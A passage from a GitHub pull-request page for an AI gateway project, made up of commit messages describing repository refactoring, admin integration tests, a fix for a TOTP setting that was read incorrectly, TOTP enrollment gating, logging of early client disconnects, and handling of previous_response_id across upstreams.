carry SQL. Their 48 statements move verbatim into
services::api_key_repository, auth_repository, setup_repository and
settings_repository; the key-rotation and account-deletion
transactions move with them. Handlers keep permission checks,
validation, audit, and session / cache work.

admin_access.rs adds integration tests for what no test reached: key
create / read / PATCH semantics and validation, list paging and the
archived view, revoke / force-revoke, expiring keys, cost centers,
the default-expiry setting, registration with a default role, /me
roles and teams, TOTP status, and SSO sign-in against a mock identity
provider (activation, provisioning, re-login, refused accounts).

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…h.default_role (#53)

security.totp_required is stored as a JSON boolean but was read with
get_string(...) == "true", which never matched: a platform that required
TOTP told every user it did not. It now has a typed getter like the
other boolean settings, and both validators refuse a non-boolean value
(a string "true" would have read as false). No other setting was read
this way.

auth.default_role had no seeded row, and the settings API only updates
rows that exist, so PATCH /api/admin/settings could never set it. It is
seeded empty (no role), like the other auth settings.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
…#54)

A disconnect was recorded only once a stream had started. A client that
left while its key's roles loaded, the limits ran, a route was picked or
a whole answer was awaited left no trace: hyper dropped the handler and
nothing after the await point ran.

The API-key middleware now arms a drop guard (proxy::EarlyCancel) for
the AI gateway as soon as the key is known, and disarms it when the
handler hands back any response, since every response path writes its
own row. Dropped still armed, it writes one gateway_logs row: status 499,
stream_outcome client_cancelled, cancelled_before response, no tokens,
no cost, no provider. The handler fills in the trace id and the model as
it learns them. A started stream is unaffected and still records its own
cancel, so nothing is logged twice.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
With security.totp_required on, a console session whose user has not
enrolled TOTP (password or SSO sign-in) only reaches /api/auth/me,
register-key, logout and the TOTP status/setup/verify-setup endpoints.
Everything else answers 403 with error type totp_enrollment_required.
The gate is decided per request in require_auth, so switching the
setting on covers existing sessions and enrolling lifts it on the same
session. API keys are unaffected.

/api/auth/me reports totp_enrollment_required; the console replaces
itself with an enrollment screen while it is set and reloads the user
when any request is refused with that type. Disabling TOTP is refused
while the setting is on.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
fylorn and others added 2 commits September 24, 2026 20:21
OpenAI's socket mode keeps the connection's most recent response, so a
turn can name it in previous_response_id with store: false, which is how
Codex runs. Each turn here is a separate upstream request, possibly to an
upstream in another format with no such store, so that failed.

The connection now keeps its most recent response as the conversation so
far: the turn's full input plus the output items of its
response.completed (without their store ids). A turn naming it goes
upstream with that history in input and no previous_response_id, valid
against any upstream and billed as what it is. A previous_response_id
naming anything else goes upstream as sent. A failed turn leaves the
chain where it was.

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
@fylorn
fylorn merged commit ff167b3 into main Sep 24, 2026
8 checks passed
@fylorn
fylorn deleted the release/2.0.0 branch September 24, 2026 13:55
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant